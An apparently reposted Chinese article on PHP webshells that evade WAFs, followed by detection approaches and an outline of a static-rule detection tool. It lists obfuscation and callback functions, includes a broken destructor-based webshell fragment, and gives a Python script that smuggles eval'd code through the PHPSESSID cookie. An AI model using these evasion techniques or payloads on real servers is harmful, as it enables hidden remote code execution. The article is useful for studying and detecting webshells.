PHP中wafwebshell的示例分析-创新互联

这篇文章主要介绍PHP中waf webshell的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

我们提供的服务有:成都网站建设、成都网站设计、微信公众号开发、网站优化、网站认证、福绵ssl等。为上1000+企事业单位解决了网站和推广的问题。提供周到的售前咨询和贴心的售后服务,是有科学管理、有技术的福绵网站制作公司

常见绕过WAF的PHP webshell


字符串变形


大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰



ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数


利用 assert()

回调函数




call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件


利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

无字符特征马


编码、异或、自增

特殊请求头


利用 getallheaders()

全局变量


利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密


以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法


目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等

  2. 动态检测(沙箱)

  3. 基于流量模式检测webshell:agent

  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀

  5. 根据文件入度出度来检测

实例展示


这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP中waf webshell的示例分析

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路


检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py


conf中包含的是诸如下列的静态检测规则

PHP中waf webshell的示例分析

以上是“PHP中waf webshell的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注创新互联行业资讯频道!


网站名称:PHP中wafwebshell的示例分析-创新互联
URL链接:http://myzitong.com/article/dicojd.html